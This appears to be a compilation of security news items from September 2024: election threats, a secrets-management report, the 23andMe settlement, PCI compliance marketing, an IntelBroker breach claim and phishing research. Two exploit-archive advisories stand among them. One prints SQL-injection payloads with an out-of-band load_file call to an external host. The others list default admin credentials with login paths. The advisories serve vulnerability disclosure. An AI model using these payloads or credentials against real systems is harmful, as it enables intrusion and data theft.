While the 2024 election may see various cyber threats, existing security measures and coordination across all levels of government aim to minimize their impact.

Mike Kosak, Senior Principal Intelligence Analyst, LastPass

September 16, 2024

4 Min Read

Source: Saphiens via Alamy Stock Photo

COMMENTARY

As the 2024 US presidential election approaches, cybersecurity is a frequent topic of conversation. From my time in the intelligence community supporting the Department of Defense, I'm familiar with government planning around elections. While the most discussed threats for 2024 are nation-state misinformation and disinformation, this election season, I'm also following cybersecurity threats to municipal election systems. 

The good news is the threat of an actual impactful disruption is low. As the US has funneled significant resources into securing elections over the past decade, US Cybersecurity and Infrastructure Security Agency (CISA) lead Jen Easterly said election infrastructure "has never been more secure." However, that doesn't mean threat actors aren't likely to attempt some sort of attacks, such as website defacements or distributed denial of service (DDoS) attacks against municipal election websites.

Here are the four threats against local election systems we will most likely hear about in 2024:

**Voting Machine Hacking**

The most high-profile threat to US elections is voting machine hacking. However, voting machines are rarely connected directly to the Internet, which aligns with current cybersecurity guidelines. This means the most realistic threat vector would require physical access to the machines, according to F5 Labs, a concern addressed through anti-tampering and physical security guidelines around the country. While cyber vulnerabilities within voting machines exist — as demonstrated annually at the DEFCON Voting Village hacking event — to date, there have been no reports of cyberattacks taking voting machines offline or changing votes, despite the clear value of such a capability to US adversaries.

**DDoS Attacks**

DDoS attacks are a less disruptive but more frequent threat to US elections. Election monitoring and information websites leveraging Google's Project Shield DDoS protection services experienced a 400% increase in weekly attacks during the 2022 midterms. While several companies like Cloudflare offer free DDoS protection services to election-related websites, some sites are still going down. Mississippi's election websites were briefly taken offline in 2022 by a DDoS attack claimed by a pro-Russia hacking group. However, the attack did not impact voting results or availability.

Given the increased profile of the presidential election, we can expect to see DDoS on a larger scale in 2024. However, as CISA and the FBI stated in a July 31 alert, these attacks would not prevent voters from casting their ballots.

**Ransomware**

The FBI and CISA released a similar alert on Aug. 15 related to ransomware disruptions, reassuring the public that any attack along these lines would not compromise the security or accuracy of voting. Ransomware groups will likely target municipalities — already a common target — in the run-up to the elections. 

For instance, a ransomware attack in April forced a Georgia county to temporarily disconnect from the state's voter registration system as a precautionary measure — highlighting disruptions that could occur around access to voter data or other election information. However, the FBI and CISA noted, "Any successful ransomware attack on election infrastructure tracked by FBI and CISA has remained localized and successfully managed with minimal disruption to election operations and no impact on the security and accuracy of ballot casting or tabulation processes or systems." Similar to DDoS attacks, no reporting suggests ransomware attacks have ever prevented a vote from being cast.

**Website Defacement and Email Access**

Website defacements are another common threat, where attackers take over election-related sites to alter data or images. These attacks can either aim to embarrass the site owner or subtly manipulate information, such as polling results or polling station hours.

In 2020, a threat actor briefly took over the campaign website for then President Trump, posting a derogatory message and seeking payment in return for not releasing data they claimed to have stolen. While these attacks may occur and could cause local disruptions, they would not impact the ability to vote or tally votes.

Hybrid cyber-physical threats, such as the increasing use of emails or spoofed phone numbers to deliver fake bomb threats or conduct swatting attacks, also present a concern, where false scenarios are reported to provoke a large police response. In 2018, a months-long campaign targeting US schools and businesses caused evacuations, police responses, and major disruptions. Similar attacks on election day could target polling stations, election offices, or ballot-counting sites.

Finally, threat actors (particularly nation-states) will continue to target email accounts of political operatives and organizations. The US intelligence community has already attributed social engineering attacks targeting both major US political parties to Iran. These attacks aimed to access sensitive or embarrassing information to influence the US election, highlighting the frequency of politically motivated social engineering attacks and the importance of secure, unique passwords and multifactor authentication. 

**Safeguarding the Vote**

While cyberattacks will undoubtedly target US election infrastructure over the next few months, it's important to place these events in the context of the protections put in place. Federal, state, local, and tribal governments, as well as international allies, have all been tracking these threats and implementing mitigations and contingencies to help ensure a secure and smooth election. 

While the 2024 election may see various cyber threats, existing security measures and coordination across all levels of government aim to minimize their impact. Voters should stay informed and rely on official sources to ensure their participation is not disrupted.

**About the Author**

Senior Principal Intelligence Analyst, LastPass

Mike Kosak is a former US Department of Defense (DoD) counterterrorism intelligence officer with more than 20 years of experience as a threat intelligence analyst. While with the DoD, he served in several senior intelligence officer roles, including leading the Pentagon office responsible for providing intelligence updates to the chairman of the Joint Chiefs of Staff, and was deployed to Iraq three times in support of Operation Iraqi Freedom. He also served as the acting senior command representative to the Joint Special Operations Command for the Defense Intelligence Agency. During his deployments, he led intelligence teams in support of both conventional and special forces. Following his government service, Kosak held private sector cyber intelligence positions at Bank of America, where he led the Strategic Cyber Intelligence and Threat Evaluation teams, and TIAA, where he led the Cyber Threat Intelligence team. He currently serves as the senior principal intelligence analyst at LastPass.

Cybersecurity &amp; the 2024 US Elections

Boston, USA, 16th September 2024, CyberNewsWire

**Boston, USA, September 16th, 2024, CyberNewsWire**

Analysis of millions of real-world NHI secrets by Entro Security Labs reveals widespread, significant risks, emphasizes need for improved Secrets Management security practices   

Entro Security, pioneer of the award-winning Non-Human Identity (NHI) and Secrets Management platform, today released its research report, “2025 State of Non-Human Identities and Secrets in Cybersecurity.” The Entro Security Lab found that 97% of NHIs have excessive privileges increasing unauthorized access and broadening the attack surface, and 92% of organizations are exposing NHIs to third parties, also resulting in unauthorized access if third-party security practices are not aligned with organizational standards. Surprisingly, 44% of tokens are exposed in the wild, being sent or stored over platforms like Teams, Jira tickets, Confluence pages, code commits and more. Such practices put sensitive information at serious risk of being intercepted and exposed–the root of all secrets and non-human identity breaches. 

Entro Security Labs’ research reveals alarming trends in the handling of both human and NHIs, with significant misconfigurations and risks prevalent across organizations. Key findings include: 

*   For each human identity, there are an average of 92 non-human identities. An overwhelming number of non-human identities increases the complexity of identity management and the potential for security vulnerabilities 
*   91% of former employee tokens remain active, leaving organizations vulnerable to potential security breaches 
*   50% of organizations are onboarding new vaults without proper security approval which can introduce vulnerabilities and misconfigurations from the outset 
*   73% of vaults are misconfigured, also leading to unauthorized access and exposure of sensitive data and compromised systems 
*   60% of NHIs are being overused, with the same NHI being utilized by more than one application, increasing the risk of a single point of failure and widespread compromise if exposed 
*   62% of all secrets are duplicated and stored in multiple locations, causing unnecessary redundancy and increasing the risk of accidental exposure 
*   71% of non-human identities are not rotated within the recommended time frames, increasing the risk of compromise over time 

Additional findings are discussed in the report and reveal a critical need for organizations to reassess their NHIs and secrets management practices.  

Data from this report has been collected using a mixed-methods approach, integrating quantitative data analysis with qualitative insights derived from industry observations. The quantitative component focuses on statistical analysis of security incidents and vulnerabilities, while the qualitative aspect provides context and interpretation of these findings within the broader cybersecurity landscape. The data sources include proprietary data from Entro’s cybersecurity infrastructure, secondary data from publicly available industry reports and survey data from IT and security professionals. 

Entro’s complete research report on non-human identities is available on their website. 

To learn more or schedule a demo, please visit https://entro.security/demo/.  

**About Entro Security** 

An award-winning pioneer platform, Entro Security provides Non-Human Identity Lifecycle Management, Secrets Security and Non-Human Identity Detection and Response. Unlike traditional methods that reactively scan for exposed secrets, Entro integrates seamlessly within an organization’s existing vaults, and secret creation and exposure locations, offering a single pane of glass to securely use and manage non-human identities and secrets at scale. Headquartered in Boston and backed by top cybersecurity VCs, Entro was named a Cool Vendor by Gartner, Venafi’s Most Promising Machine Identity startup and is a 2023 Globee Awards Winner for Startup Achievement of the Year. For more information, please visit https://www.entro.security. 

**Contact**

**Senior Account Executive**  
**Hannah Sather**  
**Montner Tech PR**  
**\[email protected\]**

Entro Security Labs Releases Non-Human Identities Research Security Advisory

Genetic testing company 23andMe will pay $30 million over a 2023 data breach which ended in millions of customers having data exposed.

Genetic testing company 23andMe will pay $30 million to settle a class action lawsuit over a 2023 data breach which ended in some customers having information like names, birth years, and ancestry information exposed.

In October 2023, we reported on how information belonging to as many as seven million 23andMe customers turned up for sale on criminal forums following a credential stuffing attack against 23andMe.

23andMe said that cybercriminals had stolen profile information that users had shared through its DNA Relatives feature, an optional service that lets customers find and connect with genetic relatives.

In December 2023, 23andMe admitted that some genetic and health data might have been accessed during that breach. To dodge responsibility, the company wrote a letter to legal representatives of those affected by the breach, laying the blame at the feet of victims themselves.

23andMe also neglected to tell customers with Chinese and Ashkenazi Jewish ancestry that the cybercriminal appeared to have specifically targeted them, posting their information for sale on the dark web.

In January 2024, customers filed a class action lawsuit against 23andMe in a San Francisco court, alleging the company failed to protect their privacy. The result of that lawsuit is the settlement.

What immediately jumped out in the settlement is the title of one of the chapters:

> “THE SETTLEMENT IS THE RESULT OF ZEALOUS ADVOCACY AND SKILLFUL NEGOTIATION”

What does that mean? Well, the $30 million is apparently all that 23andMe can afford to pay. And that’s only because the expectation is that cyberinsurance will cover $25 million.

The market value of the company has plummeted, and revenue declined. This decline had already set in prior to the incident, but it definitely didn’t help to improve the situation.

The court has not yet approved the settlement, but it’s expected that 23andMe will pay $30 million into a fund for customers whose data was compromised, as well as provide them with identity and genetic monitoring.

Other countries, like Canada and the UK have announced they will undertake a joint investigation into the data breach.

According to Malwarebytes’ data, over 3 million people were affected by the data breach, so none of the victims should expect to get rich because of this settlement.

On the dark web, the data is offered for sale in three separate data sets. A general set that includes 2,763,569 records, one belonging to Ashkenazi-based users (835,708 records), and one allegedly belonging to China-based users of 23andMe (68,541 records).

If you want to find out if your personal data was exposed through this breach, you can use our free Digital Footprint scan. Fill in the email address you’re curious about (it’s best to submit the one you used to register and 23andMe) and we’ll send you a free report.

**We don’t just report on threats – we help safeguard your entire digital identit**y

Cybersecurity risks should never spread beyond a headline. Protect your—and your family’s—personal information by using identity protection.

 23andMe to pay $30 million in settlement over 2023 data breach 

Ship Ferry Ticket Reservation System version 1.0 suffers from multiple remote SQL injection vulnerabilities.

    ## Titles: SFTRS - PHP (by: oretnom23 ) v1.0 Multiple-SQLi### Bonus: FU + RCE & XSS - Information disclosure## Author: nu11secur1ty## Date: 09/14/2024## Vendor: https://github.com/oretnom23## Software:https://www.sourcecodester.com/php/14923/shipferry-ticket-reservation-system-using-php-free-source-code.html## Reference: https://portswigger.net/web-security/sql-injection## Description:The `password` parameter appears to be vulnerable to SQL injection attacks.The payload '+(select load_file('\\\\wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\tiq'))+' was submittedin the password parameter. This payload injects a SQL sub-query that callsMySQL's load_file function with a UNC file path that references a URL on anexternal domain. The application interacted with that domain, indicatingthat the injected SQL query was executed. The attacker can get all theinformation from the database of this system, and he can do very maliciousaction against the owner of this application!STATUS: HIGH- Vulnerability for deprecation!WARNING: DON'T USE ANY PRODUCTS FROM THIS VENDOR!https://github.com/oretnom23[+]Exploits:- SQLi Multiple:```mysql---Parameter: password (POST)    Type: boolean-based blind    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)    Payload: username=iOPjKWgj&password=i8V!p7q!S1'+(select load_file('\\\\wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\tiq'))+'') OR NOT9033=9033 AND ('ehPW'='ehPW    Type: error-based    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUPBY clause (FLOOR)    Payload: username=iOPjKWgj&password=i8V!p7q!S1'+(select load_file('\\\\wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\tiq'))+'') AND (SELECT4905 FROM(SELECT COUNT(*),CONCAT(0x7171767a71,(SELECT(ELT(4905=4905,1))),0x71706b7871,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ('zzCg'='zzCg    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: username=iOPjKWgj&password=i8V!p7q!S1'+(select load_file('\\\\wxx3v5fkcqnwh58c574znoqo1f78vyjpmde05ou.oastify.com\\tiq'))+'') AND (SELECT1493 FROM (SELECT(SLEEP(7)))tpHs) AND ('PbYw'='PbYw---```## Reproduce:[href](https://www.patreon.com/posts/sftrs-php-by-v1-112034018)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2024/09/sftrs-php-by-oretnom23-shipferry-ticket.html)## Time spent:00:17:00

Ship Ferry Ticket Reservation System 1.0 SQL Injection

IFSC Code Finder Portal version 1.0 suffers from an ignored default credential vulnerability.

**IFSC Code Finder Portal 1.0 Insecure Settings**

Posted Sep 16, 2024

Authored by indoushka

IFSC Code Finder Portal version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | 4c8714f261d6bcdc7f5ee89b4f1473342ced816a03f174b9a8bc607a329616e0

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**IFSC Code Finder Portal 1.0 Insecure Settings**

    =============================================================================================================================================| # Title     : IFSC Code Finder Portal v1.0 Insecure Settings Vulnerability                                                                || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 125.0.1 (64 bits)                                                            || # Vendor    : https://phpgurukul.com/ifsc-code-finder-project-using-php/                                                                  |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload : user =  admin & pass = Test@123[+] http://127.0.0.1/ifscfinder/admin/login.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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IFSC Code Finder Portal 1.0 Insecure Settings

GYM Management System version 1.0 suffers from an ignored default credential vulnerability.

**GYM Management System 1.0 Insecure Settings**

Posted Sep 16, 2024

Authored by indoushka

GYM Management System version 1.0 suffers from an ignored default credential vulnerability.

tags | exploit

SHA-256 | 5ee11f413d4f6dbbb71c2d782424145f8284d96790518d7c0e3923c5bd409844

Download | Favorite | View

**GYM Management System 1.0 Insecure Settings**

    ====================================================================================================================================| # Title     : GYM Management System 1.0 Insecure Settings Vulnerability                                                          || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://phpgurukul.com/gym-management-system-using-php-and-mysql/                                                  |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload :     Username: admin@gmail.com      Password: Test@123[+] http://127.0.0.1/agms/admin/dashboard.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

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GYM Management System 1.0 Insecure Settings

Imagine this... You arrive at work to a chaotic scene. Systems are down, panic is in the air. The culprit? Not a rogue virus, but a compromised identity. The attacker is inside your walls, masquerading as a trusted user. This isn't a horror movie, it's the new reality of cybercrime. The question is, are you prepared?
Traditional incident response plans are like old maps in a new world. They

Identity Protection / Incident Response

**Imagine this...** You arrive at work to a chaotic scene. Systems are down, panic is in the air. The culprit? Not a rogue virus, but a compromised identity. The attacker is _inside_ your walls, masquerading as a trusted user. This isn't a horror movie, it's the new reality of cybercrime. The question is, are you prepared?

Traditional incident response plans are like old maps in a new world. They focus on malware and network breaches, but today's criminals are after your identities. Stolen credentials, and weak access points - these are the keys to your kingdom.

While there's a playbook for handling malware outbreaks, the 'identity' chapter is often missing. Organizations struggle to identify compromised accounts and stop attackers from moving laterally within their systems. The result? A breach that spirals out of control, causing massive damage.

**The Solution: An Identity-Focused Incident Response Playbook**

This isn't just another security buzzword, it's your lifeline in the face of an identity attack. It provides clear procedures, tools, and strategies to detect, contain, and recover from an identity breach.

**In this webinar, you'll discover:**

*   **Why identity is the new frontline in the cyberwar:** Understand the shift in attacker tactics and why traditional defenses are falling short.
*   **The latest tactics attackers use to compromise accounts:** Learn about phishing, credential stuffing, and other sophisticated methods used to steal identities.
*   **Proven strategies for rapid detection and containment:** Discover how to quickly identify compromised accounts and stop attackers in their tracks.
*   **How to create an Identity IR Playbook tailored to your organization:** Get practical guidance on building a playbook that aligns with your specific needs and resources.

**Who should attend:**

*   IT security professionals
*   Incident response teams
*   CIOs and CISOs
*   Anyone responsible for protecting their organization's sensitive data

Secure your spot now and learn how to safeguard your identities against today's most pressing threats.

Found this article interesting? This article is a contributed piece from one of our valued partners. Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

From Breach to Recovery: Designing an Identity-Focused Incident Response Playbook

The PCI DSS landscape is evolving rapidly. With the Q1 2025 deadline looming ever larger, businesses are scrambling to meet the stringent new requirements of PCI DSS v4.0. Two sections in particular, 6.4.3 and 11.6.1, are troublesome as they demand that organizations rigorously monitor and manage payment page scripts and use a robust change detection mechanism. With the deadline fast approaching

Payment Security / Data Protection

**The PCI DSS landscape is evolving rapidly.** With the Q1 2025 deadline looming ever larger, businesses are scrambling to meet the stringent new requirements of PCI DSS v4.0. Two sections in particular, 6.4.3 and 11.6.1, are troublesome as they demand that organizations rigorously monitor and manage payment page scripts and use a robust change detection mechanism. With the deadline fast approaching and the consequences of non-compliance so severe, there is no room for complacency, so, in this article, we look at the best way to meet these complex coding requirements.

**PCI DSS v4: Understanding Requirements 6.4.3 and 11.6.1**

These changes to PCI DSS in v4.0 acknowledge the urgent need to tighten client-side security in the face of pervasive supply-chain threats. They call for beefed-up payment page security to keep customers' sensitive payment details safe from malicious script injection attacks:

*   6.4.3: To meet this requirement your organization needs to monitor and manage all payment page scripts executed in the consumer's browser. This includes ensuring that scripts are authorized, their integrity is maintained, and that you keep an inventory that lists each one with written justifications for their inclusion.

*   11.6.1: This requirement focuses on detecting script changes and preventing tampering, so organizations will need to implement a mechanism to promptly detect unauthorized modifications to the security-critical HTTP headers and scripts used on payment pages. This will help to prevent malicious code injection and other attacks that target payment data.

**A Proprietary PCI Dashboard**

Reflectiz was aware that traditional PCI compliance methods can often be time-consuming and resource-intensive, so they created a dedicated PCI dashboard that generates them with a minimum of fuss. It provides real-time, remote visibility into your online ecosystem, with script-level monitoring and no need for on-site resources, so compliance is baked in, and compliance reporting is very straightforward, because it's like a natural by-product of what the solution is already doing.

**Get access to a 30-day free PCI Dashboard.**

**Simplify Compliance with Smart Approvals**

Reflectiz's smart approval mechanism is another time-saver. Instead of manually approving and justifying each script, you can simply define acceptable script behaviors and then let the system automatically batch-approve the ones that meet them.

You can still approve and justify individual script changes when necessary, but having the option to streamline the approval process by defining acceptable script behaviors in this way is a liberating additional feature. It extends to managing approvals for websites with multiple payment pages, too, which is even better.

To summarize:

*   **Script Approvals:** Easily approve and justify individual script changes to meet requirements 6.4.3 and 11.6.1.
*   **Smart Approval Mechanism:** Streamline the approval process by defining acceptable script behaviors.
*   **Multiple Payment Page Management:** Efficiently manage approvals for websites with multiple payment pages.

The benefits of using Reflectiz's PCI dashboard soon add up.

*   **Time savings:** Automate manual processes, freeing up your team to focus on core business activities.**Recently, Reflectiz reduced the level of work needed for one of its customers by 95%(!)** See case study below.
*   **Cost reduction:** Reduce the overhead associated with compliance efforts, including personnel and resources.
*   **Reduced risk of non-compliance:** Stay ahead of PCI DSS requirements and minimize the risk of costly penalties and reputational damage.

Using security solutions that rely on embedded JavaScript can add more vulnerabilities (including OWASP top ten vulnerabilities) than they fix, like trying to fight fires with gasoline. Reflectiz operates remotely, which gives it an uninterrupted view of every script on the page with no chance of compromise and no extra vulnerabilities added. The last place you should be introducing JavaScript vulnerabilities is a payment page, so Reflectiz takes the far safer and more effective route to PCI compliance of monitoring them remotely.

**Access your 30-day free PCI Dashboard.**

**Why Reflectiz Chose Remote Monitoring Over Embedded Scripts**

**Embedded security scripts add significant drawbacks:**

*   **Privacy concerns:** They can access your business and user data, adding an ongoing burden to your compliance efforts.
*   **Limited visibility:** They can't monitor critical areas like iFrames, user hijacking, and tracking cookies. These are invisible to them.
*   **Performance impact:** They slow down websites and require constant updates.
*   **Security risks:** They're vulnerable to attacks and they increase the overall attack surface.

Reflectiz's remote monitoring approach overcomes these challenges by providing comprehensive, secure, and efficient oversight of web components.

Stuart Golding, a leading PCI DSS Qualified Security Assessor, shares the view that this is the right approach: _"Personally, I tend to favor solutions that are least intrusive, both in terms of cost and implementation. These solutions typically require minimal development or changes to the organization's webpage, allowing for quick implementation and results."_

**Case Study: A Major US Insurance Company**

**Challenge**: A major US insurance company needed to comply with the new PCI DSS v4.0 requirements, specifically 6.4.3 and 11.6.1, which, as we've noted, mandate rigorous monitoring and management of payment page scripts. The company had:

*   2 payment pages
*   Approximately 60 scripts across both pages

**Solution**: The company implemented Reflectiz's PCI dashboard to streamline script monitoring and approval during a two-week period.

**Results**:

**Breakdown**:

**Key Takeaways**:

*   Reflectiz identified a significant number of script changes (30% in just two weeks) highlighting the need for continuous monitoring.
*   Projecting this data onto a larger scale (8 payment pages), Reflectiz can potentially save the company from reviewing and approving 40 scripts every week.
*   By automating approvals and minimizing manual effort, Reflectiz reduces the risk of human error and streamlines the compliance process. This translates to significant cost savings and a smoother path to passing PCI audits.

This case study demonstrates the efficiency and effectiveness of Reflectiz in managing script changes and ensuring PCI DSS compliance.

**Beyond PCI Compliance**

PCI compliance is only one aspect of Reflectiz's comprehensive set of web security features. By monitoring third-party web components, tracking data access to payment and credit card information, and maintaining a complete inventory of third- and fourth-party scripts, Reflectiz helps organizations achieve and maintain PCI DSS v4.0 compliance while strengthening their overall web security posture.

**Access your 30-day free PCI Dashboard.**

Found this article interesting? This article is a contributed piece from one of our valued partners. Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Master Your PCI DSS v4 Compliance with Innovative Smart Approvals

A hacker known as IntelBroker claims to have breached the UK-based company Experience Engine, allegedly exposing sensitive data.…

A hacker known as IntelBroker claims to have breached the UK-based company Experience Engine, allegedly exposing sensitive data. The hacker is selling the data on an online forum, raising concerns about data security for affected clients and businesses.

The notorious IntelBroker hacker has claimed responsibility for breaching Experience Engine, a UK-based company that provides experiential marketing and promotional staffing services. The hacker, who was previously linked to several high-profile data breaches, is now selling the allegedly stolen data on Breach Forums, demanding payment in **Monero** (XML) cryptocurrency to remain anonymous and untraceable.

****Who is Experience Engine?****

Experience Engine, founded over 20 years ago, specializes in creating experiential marketing and promotional staffing solutions. With a global reach and a client base that includes major corporations; they work across sectors such as tech, public sectors, and fast-moving consumer goods (FMCG) brands, offering a network of over 1,200 “Experience Engineers™.”

These professionals are tech-trained to help businesses engage with customers through activations, events, and brand ambassador roles. The company claims to offer access to over 200,000 properties worldwide, focusing on integrating campaigns and humanizing complex technological messages for brands.

Screenshot from Experience Engine’s website highlighting its portfolio

****The Alleged Breach****

According to IntelBroker, the breach occurred in September and involves a trove of sensitive data. The hacker is also offering to sell entire .bak database files, which contain a large amount of client and transactional information. IntelBroker has even provided sample data, which includes details from tables such as dbo.invoice and dbo.booking_backup, containing thousands of rows of sensitive records.

One of the notable tables, dbo.invoice, includes 31,000 rows of data, with fields such as InvoiceID, InvoiceNumber, and InvoiceDate, alongside client-specific information such as contact details and invoice amounts. For instance, one invoice dated October 3, 2006, references Thomas Cook, a now-defunct global travel group, headquartered in the United Kingdom with payment details and banking information related to a booking at the now permanently closed Thirty Thirty New York City Hotel.

InterBorken hacker on Breach Forums (Screenshot: Hackread.com)

Another table, dbo.booking_backup, contains 784,000 rows of data, featuring sensitive customer information such as names, addresses, emails, booking histories, and revenue data. Among the entries are details of clients from the UK, United States, and Saint Lucia, with personal information, email addresses, and booking records all included.

The data sample provided by IntelBroker reveals alarming details of the alleged breach. The exposed data includes highly sensitive information, including financial transactions, customer contact details, and bank account numbers.

For instance, a sample from the dbo.invoice table analyzed by the Hackread.com research team shows details of an invoice amounting to $4699.36, with full banking details for the recipient. The booking records reveal customer names, addresses, and even room revenue from bookings, which can put individuals’ privacy and financial security at risk.

Moreover, the nature of the alleged data breach suggests that Experience Engine’s security protocols may have been insufficient to prevent this large-scale leak. Given that the company manages promotional staffing and experiential campaigns for global brands, the impact on their reputation could be severe.

****IntelBroker’s Dark History****

IntelBroker is no stranger to the hacking world. The hacker has been linked to several high-profile breaches, including the following organisations:

*   **Europol**
*   **Tech in Asia**
*   **Space-Eyes**
*   **Home Depot**
*   **Facebook Marketplace**
*   **U.S. contractor Acuity Inc.**
*   **Staffing giant Robert Half**
*   **Los Angeles International Airport**
*   **Alleged breaches of HSBC and Barclays Bank**

Although the hacker’s origins and affiliates are unknown, according to the United States government, IntelBroker is alleged to be the perpetrator behind one of the **T-Mobile data breaches**.

(Screenshot: Hackread.com)

The alleged breach of Experience Engine adds another company to IntelBroker’s cybercrime portfolio. With millions of sensitive records potentially exposed, the fallout from this breach could have long-lasting consequences.

Hackread.com has reached out to Experience Engine for comment. If and when the company responds the article will be updated accordingly. Stay tuned!

1.  **UK’s Freecycle Data Breach Impacts 7 Million Users**
2.  **Exposed ICS in the US, and UK Threaten Water Supplies**
3.  **NCA Arrests Teenager in Walsall Over TfL Cyber Attack**
4.  **IntelBroker Apple Breach: Steals Source Code for Internal Tools**
5.  **UK Criminal Records Office Down in Potential Ransomware Attack**

Hacker Claims Breach of UK’s Experience Engine, Data Sold Online

Cybersecurity researchers have warned of ongoing phishing campaigns that abuse refresh entries in HTTP headers to deliver spoofed email login pages that are designed to harvest users' credentials.
"Unlike other phishing webpage distribution behavior through HTML content, these attacks use the response header sent by a server, which occurs before the processing of the HTML content," Palo Alto

Cybersecurity researchers have warned of ongoing phishing campaigns that abuse refresh entries in HTTP headers to deliver spoofed email login pages that are designed to harvest users' credentials.

"Unlike other phishing webpage distribution behavior through HTML content, these attacks use the response header sent by a server, which occurs before the processing of the HTML content," Palo Alto Networks Unit 42 researchers Yu Zhang, Zeyu You, and Wei Wang said.

"Malicious links direct the browser to automatically refresh or reload a web page immediately, without requiring user interaction."

Targets of the large-scale activity, observed between May and July 2024, include large corporations in South Korea, as well as government agencies and schools in the U.S. As many as 2,000 malicious URLs have been associated with the campaigns.

Over 36% of the attacks have singled out the business-and-economy sector, followed by financial services (12.9%), government (6.9%), health and medicine (5.7%), and computer and internet (5.4%).

The attacks are the latest in a long list of tactics that threat actors have employed to obfuscate their intent and trick email recipients into parting with sensitive information, including taking advantage of trending top-level domains (TLDs) and domain names to propagate phishing and redirection attacks.

The infection chains are characterized by the delivery of malicious links through header refresh URLs containing targeted recipients' email addresses. The link to which to be redirected is embedded in the Refresh response header.

The starting point of the infection chain is an email message containing a link that mimics a legitimate or compromised domain that, when clicked, triggers the redirection to the actor-controlled credential harvesting page.

To lend the phishing attempt a veneer of legitimacy, the malicious webmail login pages have the recipients' email addresses pre-filled. Attackers have also been observed using legitimate domains that offer URL shortening, tracking, and campaign marketing services.

"By carefully mimicking legitimate domains and redirecting victims to official sites, attackers can effectively mask their true objectives and increase the likelihood of successful credential theft," the researchers said.

"These tactics highlight the sophisticated strategies attackers use to avoid detection and exploit unsuspecting targets."

Phishing and business email compromise (BEC) continues to be a prominent pathway for adversaries looking to siphon information and perform financially motivated attacks.

BEC attacks have cost U.S. and international organizations an estimated $55.49 billion between October 2013 and December 2023, with over 305,000 scam incidents reported during the same time period, according to the U.S. Federal Bureau of Investigation (FBI).

The development comes amid "dozens of scam campaigns" that have leveraged deepfake videos featuring public figures, CEOs, news anchors, and top government officials to promote bogus investment schemes such as Quantum AI since at least July 2023.

These campaigns are propagated via posts and ads on various social media platforms, directing users to phony web pages that prompt them to fill out a form in order to sign up, after which a scammer contacts them via a phone call and asks them to pay an initial fee of $250 in order to access the service.

"The scammer instructs the victim to download a special app so that they can 'invest' more of their funds," Unit 42 researchers said. "Within the app, a dashboard appears to show small profits."

"Finally, when the victim tries to withdraw their funds, the scammers either demand withdrawal fees or cite some other reason (e.g., tax issues) for not being able to get their funds back.

"The scammers may then lock the victim out of their account and pocket the remaining funds, causing the victim to have lost the majority of the money that they put into the 'platform.'"

It also follows the discovery of a stealthy threat actor that presents itself as a legitimate enterprise and has been advertising automated CAPTCHA-solving services at scale to other cybercriminals and helping them infiltrate IT networks.

Dubbed Greasy Opal by Arkose Labs, the Czech Republic-based "cyber attack enablement business" is believed to have been operational since 2009, offering to customers a toolkit of sorts for credential stuffing, mass fake account creation, browser automation, and social media spam at a price point of $190 and an additional $10 for a monthly subscription.

The product portfolio runs the cybercrime gamut, allowing them to develop a sophisticated business model by packaging several services together. The entity's revenues for 2023 alone are said to be no less than $1.7 million.

"Greasy Opal employs cutting-edge OCR technology to effectively analyze and interpret text-based CAPTCHAs, even those distorted or obscured by noise, rotation, or occlusion," the fraud prevention company noted in a recent analysis. "The service develops machine-learning algorithms trained on extensive datasets of images."

One of its users is Storm-1152, a Vietnamese cybercrime group that was previously identified by Microsoft as selling 750 million fraudulent Microsoft accounts and tools through a network of bogus websites and social media pages to other criminal actors.

"Greasy Opal has built a thriving conglomerate of multi-faceted businesses, offering not only CAPTCHA-solving services but also SEO-boosting software and social media automation services that are often used for spam, which could be a precursor for malware delivery," Arkose Labs said.

"This threat actor group reflects a growing trend of businesses operating in a gray zone, while its products and services have been used for illegal activities downstream."

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